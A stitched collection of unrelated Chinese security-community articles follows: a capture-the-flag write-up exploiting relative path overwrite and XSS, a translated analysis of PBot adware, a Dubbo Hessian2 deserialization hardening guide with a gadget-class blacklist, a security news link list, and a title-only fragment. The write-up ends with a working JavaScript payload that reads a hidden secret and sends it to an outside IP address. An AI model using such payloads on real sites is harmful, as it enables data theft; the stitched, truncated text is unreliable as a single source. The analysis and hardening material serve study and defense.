could you tell them to give it for you. Let's start a trip in Grand Line.
伟大航线.............死肥宅，海贼王看多了吗，XD
进去后查看源码，代码如下：
<!--
/* * * Power By 0xd0ff9 * * *
-->
<!DOCTYPE html>
<html lang="en">
<head>
<title>The Two piece Treasure</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- jQuery library -->
<script src="js/jquery.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<!-- P/s: Your grand line is /3915ef41890b96cc883ba6ef06b944805c9650ee/ , this is not Luffy 's grand line -->
<div class="container">
<div class="jumbotron">
<h1>GRAND LINE</h1>
<p>Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat <a href="bot.php">BigMom</a> first</p>
</div>
<input name='location' value='27.17.239.154' type='hidden'><br><input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>
<h4>If you eat fruit, you can't swim</h4>
<img src="images/grandline.png"/>
<br>
<form method="get" action="index.php">
<input type="text" name="eat" placeholder="" value="gomu gomu no mi">
<input type="submit">
</form>
</div>
</body>
</html>
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ )
拖到源码最下面，发现提示
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ )
提示增加请求参数`?debug`，访问URL如下
http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/?debug
得到了源码如下
<!--
/* * * Power By 0xd0ff9 * * *
-->
<?php
include "config.php";
if(isset($_GET['debug']))
{
show_source(__FILE__);
die("...");
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>The Two piece Treasure</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- jQuery library -->
<script src="js/jquery.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="js/bootstrap.min.js"></script>
</head>
<body>
<?php
$grandline = $_SERVER['REQUEST_URI'];
// Best Grandline is short
$grandline = substr($grandline,0,500);
echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->";
?>
<div class="container">
<div class="jumbotron">
<h1>GRAND LINE</h1>
<p>Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat <a href="bot.php">BigMom</a> first</p>
</div>
<?php
$loca = $_SERVER["REMOTE_ADDR"];
echo "<input name='location' value='".$loca."' type='hidden'><br>";
if ($loca === "127.0.0.1" || $loca==="::1")
{
echo "<input name='piece' value='".$secret."' type='hidden'>";
}
else
{
echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>";
}
?>
<h4>If you eat fruit, you can't swim</h4>
<img src="images/grandline.png"/>
<br>
<form method="get" action="index.php">
<input type="text" name="eat" placeholder="" value="gomu gomu no mi">
<input type="submit">
</form>
<?php
if(isset($_GET['eat'])&&!empty($_GET['eat']))
{
if($_GET['eat'] === "gomu gomu no mi")
{
echo "<p>Pirate, Let's go to your Grand Line</p>";
}
else
{
echo "<p>You need to eat 'gomu gomu no mi'</p>";
}
}
?>
</div>
</body>
</html>
<!-- Infact, ?debug will help you learn expression to build Grand Line ( Ex: !<>+-*/ )
...
同时还可以发现页面引用CSS，JS的方式为相对路径
<script src="js/jquery.min.js"></script>
<link rel="stylesheet" href="css/bootstrap.min.css">
<script src="js/bootstrap.min.js"></script>
首页还有一个页面，是一个带验证码的提交页面
http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/bot.php
## 审计与RPO
看到相对路径的引用，首先联想到RPO (Relative Path Overwrite)相对路径覆盖漏洞。
根据带验证码的提交页面，并且提示是谷歌浏览器，XSS没跑了，题目方向蛮清晰的，Emmmm..............................
查看源码，发现程序会获取`$_SERVER['REQUEST_URI']`，然后将经过`htmlentities()`过滤输出在页面
$grandline = $_SERVER['REQUEST_URI'];
// Best Grandline is short
$grandline = substr($grandline,0,500);
echo "<!-- P/s: Your grand line is ".htmlentities(urldecode($grandline),ENT_QUOTES)." , this is not Luffy 's grand line -->";
如果这里能够绕过`htmlentities()`那么这里就是一个反射性XSS，可惜的是这里无法直接利用，这里引入`<script>`标签就会被过滤实体编码。
<?php
$loca = $_SERVER["REMOTE_ADDR"];
echo "<input name='location' value='".$loca."' type='hidden'><br>";
if ($loca === "127.0.0.1" || $loca==="::1")
{
echo "<input name='piece' value='".$secret."' type='hidden'>";
}
else
{
echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>";
}
?>
这里的`$secret`就是Flag，只有在`$_SERVER["REMOTE_ADDR"];`等于本地的`127.0.0.1`和`localhost`的时候才会出现在页面中的`<input>`标签中。
**题目方向清晰，思路大致如下：**
* 首先向管理员提交URL，URL必须是`http://127.0.0.1`或者`http://localhost`开头，让Flag出现在页面。
* 结合使用相对路径引用JS的问题，向首页注入获取和外带Flag的JS代码，通过RPO让首页加载JS资源的请求的响应为注入恶意JS代码的首页，并绕过过滤，获取Flag。
## Get_Flag
### 注释多余代码
* 当首页的代码被当作JS执行的时候，内容却是HTML，因此需要让页面的语法满足JavaScript的语法格式才能正确执行。
* 使用`*/`注释掉输入点以前的代码；再使用`/*`闭合掉后面的代码`*/ )`中的后半截注释符，但还有一个`)`没有注释。
* 因此再将代码改为`console.log(/*`，这样就闭合了后面的`)`，后面就变成了`console.log(/* XXOOXXOO */)`，注释变为`console.log`的参数，相当于在控制台上打印了空的内容。
* 这时候Payload为`*/alert('Rai4over');.......console.log(/*`，这样仍然不行。
* 要注意的是浏览器在访问相对路径资源的CSS,JS的时候会将最后一个`/`后面内容抹除然后在拼接资源路径，会导致`*`被吃掉，就不能起到注释的作用了，因此额外增加一个`/`，修改Payload为`*/alert('Rai4over');.......console.log(/*/`，成功弹窗。
### 过滤和渲染
编写FLAG外带的Payload，注意对`+`进行URL编码。
*/var img = document.createElement('img');
img.src = `http://117.48.197.137/6666888` %2b document.getElementsByTagName('input')[1].value;
document.body.appendChild(img);console.log(/*/
代码并不可用，因为`htmlentities()`同时还过滤了`'`，可以使用```反引号绕过（模板字面量）。
*/var img = document.createElement(`img`);
img.src = `http://117.48.197.137/6666888` %2b document.getElementsByTagName(`input`)[1].value;
document.body.appendChild(img);console.log(/*/
看起来大功告成，但是却仍然无法接收到Flag。
使用构造的Payload访问的首页发现报错。
恍然大悟，观察注入点也就是执行JS的位置是在`<input>`的上方，浏览器执行JS的时候还没有将标签装载进入Dom树，自然报错。
我们只需要将代码封装到`window.onload`，然后将地址改成`localhost`发送即可。
最终Payload如下
http://localhost/3915ef41890b96cc883ba6ef06b944805c9650ee/index.php/*/window.onload=function()%7Bvar%20img=document.createElement(%60img%60);img.src=%60http://117.48.197.137/%60%2bdocument.getElementsByTagName(%60input%60)[1].value;document.body.appendChild(img);%7D;console.log(/*/ | 社区文章 |
原文：<https://blog.malwarebytes.com/threat-analysis/2018/04/pbot-python-based-adware/>
最近，我们遇到了一个基于Python的、通过漏洞利用工具包进行投放的恶意软件样本。虽然该样本以MinerBlocker示人，不过经分析后发现，它与挖矿软件没有一毛钱关系。实际上，它更像是PBot/PythonBot：一款基于Python的广告软件。
除了在俄语论坛上的[几个帖子](https://forum.drweb.com/index.php?showtopic=326467
"几个帖子")和几则简短的[威胁说明](http://www.virusradar.com/en/Python_Adware.PBot/detail
"威胁说明")外，我们尚未发现其他有关该软件的详细分析说明。
由于该软件的一些功能非常有趣，所以，我们决定进行深入的研究。研究发现，该恶意软件可以发动MITB（man-in-the-browser）攻击，将各种脚本注入到合法网站中。实际上，该软件的功能远不止广告注入这么简单，而是取决于其分销商的意图。
**分析的样本**
* * *
5ffefc13a49c138ac1d454176d5a19fd - 下载器（由EK下载）
b508908cc44a54a841ede7214d34aff3 - 恶意安装程序（名为MinerBlocker）
e5ba5f821da68331b875671b4b946b56 - 主DLL（注入Python.exe）
596dc36cd6eabd8861a6362b6b55011a - injecteex64（注入浏览器的DLL，64位版本）
645176c6d02bdb8a18d2a6a445dd1ac3 - injecteex86（注入浏览器的DLL，32位版本）
**传播方式**
* * *
本文中的研究样本是通过RIG漏洞利用工具包进行投递的：
**行为分析**
* * *
**安装方法**
漏洞利用工具包投放的主要可执行文件是一个下载器。该下载器的代码非常简单，并且没有经过混淆处理。我们可以在资源段中看到相应的脚本：
它的作用是获取包含所有恶意Python脚本的第二个安装程序。这里的第二个组件被命名为MinerBlocker。
有趣的是，如果下载的组件独立运行的话，其行为就像一个正常的合法安装程序，会显示相应的EULA和安装向导：
虽然该样本伪装成一款专门阻止恶意挖矿软件的合法应用程序，但是，我们无法找到与上述产品相对应的网站，因此，我们怀疑这款产品并不存在。
当原始下载程序运行相同的组件时，安装过程完全是静默进行的。它会将程序包放入％APPDATA％中。
**相关组件**
被投递的应用程序包含多个组件。我们可以看到，为了运行投递过来的脚本，它会提前安装完整的Python。此外，该软件包还提供了相应的卸载程序（uninstall.exe），一旦部署完成，它就会将该软件包全部删除。
在js目录中，我们可以找到一个含有JavaScript代码的文件i.js：
在configs目录中，有两个配置文件：rules.ini和settings.ini。
配置文件rules.ini指定了JavaScript的路径，以及相应的注入位置：
文件[settings.ini](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-settings-ini "settings.ini")包含各种有趣的参数，如：
1）服务所在的端口以及使用的证书的颁发者：
2）可能被攻击的进程列表（浏览器）：
3）一组列入白名单的IP和域。这些域名采用Base64格式，解码后我们可以看到，都是些俄罗斯银行网站。解码后完整的网站清单可以从[这里](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-whitelisted_domains-txt "这里")找到。正如我们后来证实的那样，这些网站都是该样本需要避免感染的站点。
持久性是通过注册表中的Run键实现的：
它们会生成一个名为“ml.py”的脚本。该脚本运行后，会部署另一个Python组件：“httpfilter.py”，其中包含投递过来的.ini文件：
**恶意软件的功能**
对于这个包含卸载程序的程序包来说，表面上看就是一个合法的程序。然而，这只是一个假象而已：首先，它会将脚本插入到用户访问的每个网站中。注入的脚本来自配置文件中指定的路径，同时，它会从远程服务器进一步加载第二阶段代码（关于第二阶段代码的捕获内容，请访问[这里](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-loaded_remote-js "这里")）。
所以，一旦它被注入，攻击者就可以控制浏览器中显示的内容。他们不仅可以注入广告，而且还可以注入更多得恶意内容。
例如，下面的示例网站就被恶意软件注入了脚本，并且该脚本来自一个与Google域名相关的域，容易被误认为该域名隶属于谷歌旗下：
将它与js文件夹中的i.js脚本（格式化版本请访问[这里](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-i-js "这里")）进行比较：
此外，该恶意软件还会伪造证书并进行MITB攻击。启用HTTPS的网站上的合法证书，将被非法机构“The Filter”颁布的假证书所替换：
如果将浏览器（即ProcessExplorer）打开的套接字与Python实例打开的套接字进行比较，我们就会发现，两者是匹配的。这表明，浏览器会跟恶意软件进行通信，并在其控制下工作。
示例：连接套接字24681的Internet Explorer。我们可以看到，该套接字是被运行恶意软件的Python进程所打开的：
**深入分析**
* * *
**加载器（用Python编写）**
该恶意软件的第一层是经过混淆的Python脚本。
如前所述，刚开始的时候会运行脚本[ml.py](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-ml-py
"ml.py")。该脚本经过了混淆处理，作用是运行第二个Python层：[httpfilter.py](https://gist.github.com/malwarezone/b650efdd412b3b0dee8f8d68b37ff8e5#file-httpfilter-py "httpfilter.py")。
脚本httpfilter.py会对存储在文件httpfilter.bin中的DLL进行解密。
然后，它将DLL注入到Python可执行文件中。这一点很有趣，因为用Python编写的PE注入器非常罕见。
**注入器（DLL）**
这个通过Python代码完成注入的DLL（[e5ba5f821da68331b875671b4b946b56](https://www.virustotal.com/#/file/22b823021d45299276285a0bbdfcc734f8ee95bb1a8c650030c9dbb4d8208fb0/details
"e5ba5f821da68331b875671b4b946b56")）是该恶意软件的主要组件。该组件将被注入到Python可执行文件中：
它还需要传入两个参数（settings.ini和rules.ini）。所以，我们可以看到，这两个参数传递给DLL之前，会首先传递给一个脚本，但是那个脚本并没有解析这两个参数。
作者留下了一些调试字符串，使执行流程更易于跟踪。 例如：
该DLL负责解析配置并设置恶意代理。
它带有两个硬编码的DLL：一个是32位的和一个是64位的（它们都存储在PE文件的覆盖层中，并且没有进行混淆）。这两个DLL后面会注入到由配置选择的浏览器中，DLL名称分别是injectee-x86.dll和injectee-x64.dll：
**注入体（DLL）**
注入体DLL是从导出的函数InjectorEntry中开始执行的：
注入体被植入浏览器并负责hooking其DLL。这个hooking函数的开始部分如下所示：
对于这种类型的事件来说，hooking函数是标配。它用于获取指定的导出函数的地址，然后覆盖每个函数的起始部分，将其重定向到恶意DLL中的相应函数。
这里的目标是负责解析证书的函数（在Crypt32.dll中）以及负责发送和接收数据的函数（在ws32_dll中）：
当通过[PE-sieve](https://hshrzd.wordpress.com/pe-sieve/ "PE-sieve")转储hook时，就能弄清楚这些函数是如何被重定向到恶意软件的。以下是从相关DLL收集的标签列表：
来自Crypt32:
16ccf;CertGetCertificateChain->510b0;5
1cae2;CertVerifyCertificateChainPolicy->513d0;5
1e22b;CertFreeCertificateChain->51380;5
来自 ws32_dll:
3918;closesocket->50c80;5
4406;WSASend->50d90;5
6b0e;recv->50ea0;5
6bdd;connect->50780;5
6f01;send->50c90;5
7089;WSARecv->50fa0;5
cc3f;WSAConnect->50ab0;5
1bfdd;WSAConnectByList->50c70;5
1c52f;WSAConnectByNameW->50c50;5
1c8b6;WSAConnectByNameA->50c60;5
在这两种情况下，我们都可以看到，这些地址已被重定向到从基址为50000处加载的注入体DLL了。
因此，函数WSASend被拦截，执行流程被重定向到注入器dll中RVA 0xd90的函数：
完成拦截功能的函数的开始部分为：
通过这种方式，所有请求都被重定向到该恶意软件。它可以作为代理，在半路上篡改数据。
代理函数运行结束后，它将跳回原始函数，因此用户感觉不到功能有任何变化。
**小结**
* * *
通过分析这个恶意软件，我们发现它不仅非常简单，同时也没有进行复杂的混淆处理，甚至都没打算实现隐身。换句话说，它的目标不是隐藏自己，而是试图让自己看起来是无害的、合法的。但是，它提供的功能却足以造成严重的危害：因为该样本不仅可以被配置为显示无害广告，也可以配置为以任何其他方式修改网站内容。例如，显示[网络钓鱼弹出窗口](https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/ "网络钓鱼弹出窗口")，就像Kronos中所做的那样。此外，仅凭伪造网站证书这一事实，也应引起人们的高度关注。 | 社区文章 |
### 0x01 前言
前段时间在安全客发了篇Dubbo的反序列化利用文章[《dubbo源码浅析：默认反序列化利用之hessian2》](https://www.anquanke.com/post/id/197658)，讲述了其部分源码并着重分析了其反序列化部分，最后以一个Remo依赖的反序列化gadget结尾。
大部分公司，在业务扩张的情况下，为了缓解数据库压力、服务器压力等，采取了分库分表、多级缓存等架构，或对业务进行划分，做成分布式，那么分布式环境下，多个系统间的协作通讯一般使用RPC、HTTP、MQ等，而我相信大部分中小公司、阿里系公司、阿里输送人才的公司..一般都使用到了Dubbo，据我对Dubbo源码的微末了解，其Dubbo协议默认的Hessian2反序列化，并没有什么所谓的安全保护机制。
在我写那篇文章前，我发现国内貌似也没人写过Dubbo相关的漏洞利用，这几天，应该很多用到Dubbo的公司，都在排查其安全受影响情况，因此，我打算写这篇文章，讲讲如何去对Dubbo进行反序列化安全加固，一般情况下，大概有这几种安全加固方案：
1. 修改反序列化类型（不推荐，就算你改成原生Java、Fastjson等等反序列化，依然存在问题，与其不熟悉的情况下对dubbo进行修改可能会导致业务受损风险，还不如不改）
2. RPC改成HTTP API（业务开发量太大了）
3. 加固Hessian2（推荐，也是这篇文章主要讲的）
### 0x02 Java SPI和Spring SPI
SPI全称Service Provider Interface，是Java提供的一套用来被第三方实现或者扩展的API，它可以用来启用框架扩展和替换组件。
经常使用Java语言开发一些框架的人都清楚，SPI的机制带来了很大的便利，使用SPI，我们就可以开发多种实现，分别打包到不同的jar包中去，用户根据所需选择实现的jar包，我们得核心程序就能根据用户引入的jar包，使用SPI去加载其实现。也就是说，如果我提供一个序列化工具，然后把每种序列化实现都分别打包到不同的jar包中去，用户就可以根据引入的jar包选择序列化实现。
#### Java SPI
下面以一个例子讲解Java SPI使用原理：
1. core.jar
package my.threedr3am.fruit;
public interface Fruit {
String name();
}
1. apple.jar
package my.threedr3am.fruit;
public class Apple implememt Fruit {
public String name() {
return "apple";
}
}
META-INF/services 文件夹下创建一个文件，名称为 Robot 的全限定名
my.threedr3am.fruit.Fruit。文件内容为实现类的全限定的类名，如下:
my.threedr3am.fruit.Apple
1. mango.jar
package my.threedr3am.fruit;
public class Mango implememt Fruit {
public String name() {
return "mango";
}
}
META-INF/services 文件夹下创建一个文件，名称为 Robot 的全限定名
my.threedr3am.fruit.Fruit。文件内容为实现类的全限定的类名，如下:
my.threedr3am.fruit.Mango
1. 使用
我们引入core.jar包以及Spring依赖，运行：
public static void main(String[] args) {
ServiceLoader<Fruit> fruits = ServiceLoader.load(Fruit.class);
fruits.forEach(fruit -> {
System.out.println(fruit.name());
});
}
若我们引入了apple.jar，main方法的执行就会输出apple，若引入的是mango.jar，则输出的是mango。
#### Spring SPI
与Java原生的SPI不一样，Spring SPI配置文件并不在`META-INF/services`目录下，而是`META-INF/spring.factories`文件
下面以一个例子讲解Spring SPI使用原理：
1. core.jar
package my.threedr3am.fruit;
public interface Fruit {
String name();
}
1. apple.jar
package my.threedr3am.fruit;
public class Apple implememt Fruit {
public String name() {
return "apple";
}
}
spring.factories文件（文件在可以打包到classes目录下的地方，例：resources）:
my.threedr3am.fruit=my.threedr3am.fruit.Apple
1. mango.jar
package my.threedr3am.fruit;
public class Mango implememt Fruit {
public String name() {
return "mango";
}
}
spring.factories文件（文件在可以打包到classes目录下的地方，例：resources）:
my.threedr3am.fruit=my.threedr3am.fruit.Mango
1. 使用
我们引入core.jar包以及Spring依赖，运行：
public static void main(String[] args) {
List<Fruit> fruits = SpringFactoriesLoader.loadFactories(Fruit.class, null);
fruits.forEach(fruit -> {
System.out.println(fruit.name());
});
}
若我们引入了apple.jar，main方法的执行就会输出apple，若引入的是mango.jar，则输出的是mango。
### 0x03 dubbo序列化SPI原理
Dubbo的SPI和Java SPI以及Spring SPI都不一样，Dubbo 并未使用 Java SPI，而是重新实现了一套功能更强的 SPI 机制。
以下是dubbo官方对其SPI功能的一个小简介：
SPI 全称为 Service Provider Interface，是一种服务发现机制。SPI
的本质是将接口实现类的全限定名配置在文件中，并由服务加载器读取配置文件，加载实现类。这样可以在运行时，动态为接口替换实现类。正因此特性，我们可以很容易的通过
SPI 机制为我们的程序提供拓展功能。SPI 机制在第三方框架中也有所应用，比如 Dubbo 就是通过 SPI 机制加载所有的组件。不过，Dubbo
并未使用 Java 原生的 SPI 机制，而是对其进行了增强，使其能够更好的满足需求。在 Dubbo 中，SPI 是一个非常重要的模块。基于
SPI，我们可以很容易的对 Dubbo 进行拓展。如果大家想要学习 Dubbo 的源码，SPI 机制务必弄懂。
Dubbo
SPI的相关逻辑在ExtensionLoader类中，通过ExtensionLoader类，我们就可以根据参数配置、依赖选择需要的实现类，Dubbo SPI
所需的配置文件通常放置在 META-INF/dubbo 路径下，但是Dubbo对其做了一定的兼容处理：
private static final String SERVICES_DIRECTORY = "META-INF/services/";
private static final String DUBBO_DIRECTORY = "META-INF/dubbo/";
private static final String DUBBO_INTERNAL_DIRECTORY = DUBBO_DIRECTORY + "internal/";
private Map<String, Class<?>> loadExtensionClasses() {
cacheDefaultExtensionName();
Map<String, Class<?>> extensionClasses = new HashMap<>();
// internal extension load from ExtensionLoader's ClassLoader first
loadDirectory(extensionClasses, DUBBO_INTERNAL_DIRECTORY, type.getName(), true);
loadDirectory(extensionClasses, DUBBO_INTERNAL_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"), true);
loadDirectory(extensionClasses, DUBBO_DIRECTORY, type.getName());
loadDirectory(extensionClasses, DUBBO_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"));
loadDirectory(extensionClasses, SERVICES_DIRECTORY, type.getName());
loadDirectory(extensionClasses, SERVICES_DIRECTORY, type.getName().replace("org.apache", "com.alibaba"));
return extensionClasses;
}
可以看到，放在这些目录下也是没问题的。
### 0x04 hessian2反序列化安全加固
通过前面的讲解，我相信大家都学会了Dubbo的SPI原理了，那么，我们如果要对Hessian2进行修改，只有两个方法：
1. 创建新的Hessian2序列化工厂，引入我们自定义的反序列化类，通过Dubbo SPI注册我们创建的Hessian2序列化工厂
2. 修改Dubbo源码（不现实）
也就是说，我现在最推荐的做法，就是加Hessian2反序列化黑名单，具体做法，看下面：
1. 新增三个自定义的Hessian2序列化类：
MyHessian2Serialization：
package com.threedr3am.learn.server.boot.serialize;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import org.apache.dubbo.common.URL;
import org.apache.dubbo.common.serialize.ObjectInput;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
public class MyHessian2Serialization implements Serialization {
@Override
public byte getContentTypeId() {
return 22;
}
@Override
public String getContentType() {
return "x-application/hessian2";
}
@Override
public ObjectOutput serialize(URL url, OutputStream out) throws IOException {
return new Hessian2ObjectOutput(out);
}
@Override
public ObjectInput deserialize(URL url, InputStream is) throws IOException {
return new MyHessian2ObjectInput(is);
}
}
MyHessian2ObjectInput：
package com.threedr3am.learn.server.boot.serialize;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Type;
import org.apache.dubbo.common.serialize.ObjectInput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2SerializerFactory;
public class MyHessian2ObjectInput implements ObjectInput {
private final MyHessian2Input mH2i;
public MyHessian2ObjectInput(InputStream is) {
mH2i = new MyHessian2Input(is);
mH2i.setSerializerFactory(Hessian2SerializerFactory.SERIALIZER_FACTORY);
}
@Override
public boolean readBool() throws IOException {
return mH2i.readBoolean();
}
@Override
public byte readByte() throws IOException {
return (byte) mH2i.readInt();
}
@Override
public short readShort() throws IOException {
return (short) mH2i.readInt();
}
@Override
public int readInt() throws IOException {
return mH2i.readInt();
}
@Override
public long readLong() throws IOException {
return mH2i.readLong();
}
@Override
public float readFloat() throws IOException {
return (float) mH2i.readDouble();
}
@Override
public double readDouble() throws IOException {
return mH2i.readDouble();
}
@Override
public byte[] readBytes() throws IOException {
return mH2i.readBytes();
}
@Override
public String readUTF() throws IOException {
return mH2i.readString();
}
@Override
public Object readObject() throws IOException {
return mH2i.readObject();
}
@Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
ClassNotFoundException {
return (T) mH2i.readObject(cls);
}
@Override
public <T> T readObject(Class<T> cls, Type type) throws IOException, ClassNotFoundException {
return readObject(cls);
}
}
MyHessian2Input：
package com.threedr3am.learn.server.boot.serialize;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
public class MyHessian2Input extends Hessian2Input {
private static final Set<String> blackList = new HashSet<>();
static {
blackList.add("com.threedr3am.learn.server.boot.A");
}
public MyHessian2Input(InputStream is) {
super(is);
}
@Override
public Object readObject(Class cl) throws IOException {
checkClassDef();
return super.readObject(cl);
}
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
checkClassDef();
return super.readObject(expectedClass, expectedTypes);
}
@Override
public Object readObject() throws IOException {
checkClassDef();
return super.readObject();
}
@Override
public Object readObject(List<Class<?>> expectedTypes) throws IOException {
checkClassDef();
return super.readObject(expectedTypes);
}
void checkClassDef() {
if (_classDefs == null || _classDefs.isEmpty())
return;
for (Object c : _classDefs) {
Field[] fields = c.getClass().getDeclaredFields();
if (fields.length == 2) {
fields[0].setAccessible(true);
try {
String type = (String) fields[0].get(c);
if (blackList.contains(type))
_classDefs = new ArrayList();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
}
}
以上三个文件，必须Dubbo的服务和消费者双方两端都存在
1. 在resources目录下，新增目录META-INF/dubbo，并创建文件org.apache.dubbo.common.serialize.Serialization，内容：
MyHessian2=com.threedr3am.learn.server.boot.serialize.MyHessian2Serialization
和上面一样，也是必须Dubbo的服务和消费者双方两端都存在
1. 服务端配置序列化方式
application.properties：
dubbo.provider.serialization=MyHessian2
1. 加入反序列化黑名单类
只要给com.threedr3am.learn.server.boot.serialize.MyHessian2Input#blackList集合添加黑名单类即可，我这里列出一些已存在的gadget
org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
com.rometools.rome.feed.impl.EqualsBean
com.caucho.naming.QName | 社区文章 |
# 【知识】6月21日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Gartner公布2017年顶级安全技术、使用Scapy，radamsa和几个样本PCAP数据包进行Fuzz专有协议 **、**
McAfee Labs威胁报告：恶意软件逃避查杀的技术、S2-017重现过程、Pcap_tools: 基于网络流量包的漏洞自动化分析
、facebook的广告服务的一个广告主信息泄漏漏洞（$10000）**
**
**
**资讯类：**
* * *
TrickBot再度回归主要针对金融支付服务和CRM提供商
<http://securityaffairs.co/wordpress/60262/cyber-crime/trickbot-new-campaigns.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Gartner公布2017年顶级安全技术
[https://mp.weixin.qq.com/s?__biz=MzIwOTA1MDAyNA==&mid=2649841199&idx=4&sn=0dcad94c5f9930866bff7bae6cc3ff68&scene=0](https://mp.weixin.qq.com/s?__biz=MzIwOTA1MDAyNA==&mid=2649841199&idx=4&sn=0dcad94c5f9930866bff7bae6cc3ff68&scene=0)
Pcap_tools: 基于网络流量包的漏洞自动化分析
<https://github.com/pythonran/Pcap_tools>
druid/wallfilter：基于SQL语义分析来实现防御SQL注入攻击
<https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE-wallfilter>
设计安全：漏洞扫描在Web应用安全的作用
[https://mp.weixin.qq.com/s?__biz=MzI4NzU2NjU4NQ==&mid=2247484831&idx=1&sn=d037b43cfbd614df1019e7bb2a388348&chksm=ebcafa09dcbd731ff7cd4a01c474017a8aa6f4be88d5aa7df4b03c85823936627c78c7cd30bc&mpshare=1&scene=1&srcid=0620T2t4AdI8fWieqAJ8Xwhj&key=7dad740](https://mp.weixin.qq.com/s?__biz=MzI4NzU2NjU4NQ==&mid=2247484831&idx=1&sn=d037b43cfbd614df1019e7bb2a388348&chksm=ebcafa09dcbd731ff7cd4a01c474017a8aa6f4be88d5aa7df4b03c85823936627c78c7cd30bc&mpshare=1&scene=1&srcid=0620T2t4AdI8fWieqAJ8Xwhj&key=7dad740)
浅谈XXE漏洞攻击与防御
<http://thief.one/2017/06/20/1/>
S2-017重现过程
<http://www.zhutougg.com/2017/06/20/s2-017zhong-xian-guo-cheng/>
CVE-2017-8116：Teltonika路由器未经身份验证的远程代码执行漏洞
<https://labs.nettitude.com/blog/cve-2017-8116-teltonika-router-unauthenticated-remote-code-execution/>
利用错误配置的DNS和旧数据库记录查找受CloudFlare保护的真实IP
<https://github.com/m0rtem/CloudFail>
ESPRESSIF ESP8266芯片组上的实用IOT加密技术
<http://hackaday.com/2017/06/20/practical-iot-cryptography-on-the-espressif-esp8266/>
Noob 101: 绕过杀软的实用技巧
<http://www.irongeek.com/i.php?page=videos/anycon2017/103-noob-101-practical-techniques-for-av-bypass-jared-hoffman>
基于USB armory 制作一个USB恶意软件分析器
<http://www.4hou.com/technology/5525.html>
编写base64兼容的shellcode
<https://blog.skullsecurity.org/2017/solving-b-64-b-tuff-writing-base64-and-alphanumeric-shellcode>
使用Scapy，radamsa和几个样本PCAP数据包进行Fuzz专有协议
<https://blog.blazeinfosec.com/fuzzing-proprietary-protocols-with-scapy-radamsa-and-a-handful-of-pcaps/>
<https://github.com/blazeinfosec/pcrappyfuzzer>
自动识别基于MIRAI源码的恶意软件
<https://www.pnfsoftware.com/blog/automatic-identification-of-mirai-original-code/>
关于Active Directory域的一些属性和指令
<http://www.harmj0y.net/blog/activedirectory/a-pentesters-guide-to-group-scoping/>
McAfee Labs威胁报告：恶意软件逃避查杀的技术
<https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf>
facebook的广告服务的一个广告主信息泄漏漏洞（$10000）
<http://philippeharewood.com/de-anonymizing-facebook-ads/>
assets.tumblr.com中的过时Flash组件（moxieplayer.swf）
<http://philippeharewood.com/outdated-flash-component-moxieplayer-swf-in-assets-tumblr-com/>
与Vault7披露相关的Longhorn木马和Black Lambert监控后门分析
<http://bobao.360.cn/learning/detail/4001.html>
分析Shadow Brokers工具与Windows10中基于虚拟化的安全缓解措施
<http://bobao.360.cn/learning/detail/4000.html> | 社区文章 |
# 【缺陷周话】第23期：双重检查锁定
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
